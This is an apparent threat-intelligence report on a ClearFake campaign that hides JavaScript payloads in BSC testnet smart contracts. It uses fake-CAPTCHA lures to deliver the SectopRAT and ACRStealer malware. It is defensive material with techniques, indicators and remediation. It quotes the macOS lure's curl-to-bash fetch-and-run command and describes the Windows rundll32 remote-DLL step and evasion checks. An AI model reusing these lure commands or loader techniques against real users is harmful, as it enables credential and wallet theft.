Threat reportMalwareTL-2026-3919
ClearFake Uses Smart Contracts on BNB Smart Chain Testnet for C&C (EtherHiding) to Deliver SectopRAT and ACRStealer
ClearFake Uses Smart Contracts on BNB Smart Chain Testnet (TL-2026-3919), also tracked as EtherHiding, is a high-severity malware campaign, first published 2026-10-19. It is attributed to ClearFake operators with low confidence, affects Microsoft Windows (Chrome, Edge users), maps to 14 MITRE ATT&CK techniques (T1027, T1055, T1059.006), and is covered by 9 detection rules and 21 indicators of compromise.
- Severity
- HIGHAssessed severity
- CVEs
- 0None referenced
- Techniques
- 14MITRE ATT&CK
- Actors
- 1ClearFake operators
- Detection rules
- 9SPL · KQL · Sigma
- IOCs
- 21Indicators of compromise
Key facts for TL-2026-3919
- Threat ID
- TL-2026-3919
- Also known as
- EtherHiding, ClickFix
- Severity
- HIGH
- Status
- ACTIVE
- Category
- MALWARE
- First published
- Last reviewed
- Attribution
- ClearFake operators
- Attribution confidence
- LOW
- Motivation
- FINANCIAL
- Target sectors
- general, recreation, cryptocurrency
- Target regions
- Europe, switzerland, Global
- Detection rules
- 9
- Indicators of compromise
- 21
Malware and tooling in ClearFake Uses Smart Contracts on BNB Smart Chain Testnet
Malware and tooling: ACR Stealer, ClearFake, SectopRAT
How ClearFake Uses Smart Contracts on BNB Smart Chain Testnet works
Trend Micro reports a ClearFake campaign that stores malicious JavaScript payloads in smart contracts on the BNB Smart Chain testnet (EtherHiding), queried via eth_call JSON-RPC, as an immutable and non-sinkholable C&C channel. A compromised Swiss WordPress site delivered the initial loader, leading to SectopRAT and ACRStealer on Windows and macOS endpoints via a ClickFix fake-CAPTCHA overlay.
Trend Micro (TrendAI) Research analyzed an intrusion in which ClearFake operators used the EtherHiding technique to route payload delivery through four smart contracts on the BNB Smart Chain (BSC) testnet, all created by a single deployer wallet. Because testnet BNB has no monetary value, the infrastructure is free to operate, immutable, and cannot be taken down or sinkholed like a conventional domain-based C&C. The oldest contract (Stage 1 entry point) was deployed on 2025-05-26, nearly a year before analysis, showing a long-running, maintained campaign rather than a proof of concept.
Initial access was a watering-hole style compromise: obfuscated JavaScript was injected into a legitimate Swiss recreational website running WordPress. The Stage 1 loader (string-array rotation with checksum validation) issues raw JSON-RPC eth_call requests to the public RPC endpoint bsc-testnet-rpc.publicnode.com without any Web3 library, manually decoding the EVM ABI-encoded response (32-byte offset, 32-byte length, raw string bytes) to retrieve the next-stage JavaScript from Contract A. Stage 2 performs anti-analysis checks (Selenium, HeadlessChrome, PhantomJS, Puppeteer, Playwright, zero window dimensions, non-standard browsers), rejects private/localhost address ranges, uses the Avast IP-geolocation API (ip-info.ff.avast.com/v2/info) to learn the public IP, sets a cjs_id tracking cookie (UUID, 2-day TTL) for revisit correlation, and routes by operating system to a Windows payload contract (Contract B) or a macOS payload contract (Contract C). A fourth contract (Contract D) serves as an on-chain execution tracker confirming each victim compromise.
Stage 3 is a ClickFix social-engineering overlay imitating Google reCAPTCHA that writes a command to the clipboard. On Windows the victim is steered to paste into the Run dialog, which runs rundll32.exe against a remote DLL over a UNC/WebDAV path (put34b.camp). rundll32 spawns dllhost.exe, which deploys a Python-based RAT (pythonw.exe and helper.py shellcode loader in a FileZilla-lookalike directory), sideloads a malicious libvlccore.dll via vlc.exe/libvlc.dll from a Mozilla Firefox-lookalike profile directory, and injects into browsers. Payloads are SectopRAT (a .NET RAT with browser session hijacking) and ACRStealer (a C++ infostealer; 4.29 MB encrypted payload), with MediaFire (download2324.mediafire.com) used as fallback delivery and a _remote_debugging.pyd_ module used for browser credential theft. On macOS the overlay instructs the victim to paste a /bin/bash -c "$(curl -A 'Mac OS X 10_15_7' -fsSL URL)" command into Terminal; the macOS payload also injects a Yandex Metrika tracker (counter 99162160). The impact is theft of browser cookies, passwords, cryptocurrency wallets and Discord/Telegram sessions, and remote access. The victim needs only a single deliberate action (pasting the clipboard command).
Context: Google GTIG reported in October 2025 that North Korea-nexus UNC5342 adopted EtherHiding (JADESNOW/INVISIBLEFERRET) on BSC and Ethereum; the Trend Micro article cites this as context only and does not attribute ClearFake to that actor. Microsoft Defender Experts and Red Canary independently reported a surge in ClearFake-fed ACR Stealer ClickFix activity from late April to June 2026, with a subset of infrastructure using EtherHiding. No CVE is involved.
MITRE ATT&CK techniques used in TL-2026-3919
Defense Evasion
T1027 Obfuscated Files or Information; T1055 Process Injection; T1218.011 System Binary Proxy Execution: Rundll32; T1497.001 Virtualization/Sandbox Evasion: System Checks; T1574.001 DLL
Execution
T1059.006 Command and Scripting Interpreter: Python; T1059.007 Command and Scripting Interpreter: JavaScript; T1204.004 User Execution: Malicious Copy and Paste
Discovery
T1082 System Information Discovery; T1614 System Location Discovery
Collection
T1185 Browser Session Hijacking
Credential Access
T1539 Steal Web Session Cookie; T1555.003 Credentials from Password Stores: Credentials from Web Browsers
Resource Development
Affected products and versions in ClearFake Uses Smart Contracts on BNB Smart Chain Testnet
- Microsoft — Windows (Chrome, Edge users)
Vulnerable versions: Endpoints where users can run clipboard commands via Run dialog - Apple — macOS (Terminal)
Vulnerable versions: Endpoints where users can paste curl|bash commands in Terminal - WordPress — WordPress sites (compromised to host injected JavaScript)
Vulnerable versions: Compromised installations
Remediation for ClearFake Uses Smart Contracts on BNB Smart Chain Testnet
Patches
- Not applicable: no CVE; WordPress site owners should patch core, themes and plugins and audit for injected JavaScript
Immediate actions
- Block or alert on outbound JSON-RPC eth_call traffic to bsc-testnet-rpc.publicnode.com and other BSC testnet RPC endpoints from non-blockchain business endpoints
- Block put34b.camp and download2324.mediafire.com payload fetches where not business-required
- Hunt for rundll32.exe with UNC/WebDAV path arguments and for pythonw.exe/vlc.exe running from AppData FileZilla/Mozilla lookalike directories
- Reset credentials and revoke sessions/tokens for users who pasted a clipboard command from a fake CAPTCHA
Workarounds
- Disable the Windows WebClient service where WebDAV is not needed
- Restrict or alert on Run dialog usage and Terminal commands originating from the clipboard
Longer-term hardening
- Restrict clipboard write access via enterprise browser policies
- Monitor web proxy logs for eth_call and JSON-RPC patterns to public blockchain RPC endpoints
- Security awareness training on fake CAPTCHA / ClickFix lures
- Deploy EDR with behavioral detection for clipboard-sourced command execution and DLL sideloading
Timeline of ClearFake Uses Smart Contracts on BNB Smart Chain Testnet
- Smart Contract A (Stage 1 entry point) deployed on BSC testnet by the shared deployer wallet
- Smart Contract D (execution tracker) deployed on BSC testnet
- Smart Contract B (Windows payload) deployed on BSC testnet
- Smart Contract C (macOS payload) deployed on BSC testnet
- Trend Micro published analysis of the ClearFake BSC testnet smart-contract C&C campaign delivering SectopRAT and ACRStealer
- Cloud Security Alliance published a research note on ACR Stealer ClickFix campaigns draining M365 tokens
Sources cited for ClearFake Uses Smart Contracts on BNB Smart Chain Testnet
- Smart Contracts for C&C: How ClearFake Hid in Plain Sight on BSC Testnet
- ClearFake Uses BSC Testnet Smart Contracts (Cyber Security News)
- DPRK Adopts EtherHiding (Google Threat Intelligence Group)
- North Korean Hackers Use EtherHiding to Hide Malware (The Hacker News)
- ACR Stealer's ClickFix Campaigns Drain M365 Tokens (CSA research note)
- ACR Stealer Campaigns Using ClickFix Social Engineering (Integrity360)
- Red Canary SecOps Weekly: Top Cyber Threats May 2026
Detection coverage for TL-2026-3919
As of 2026-10-19, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-3919 across Splunk SPL, Microsoft KQL and Sigma, covering 21 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.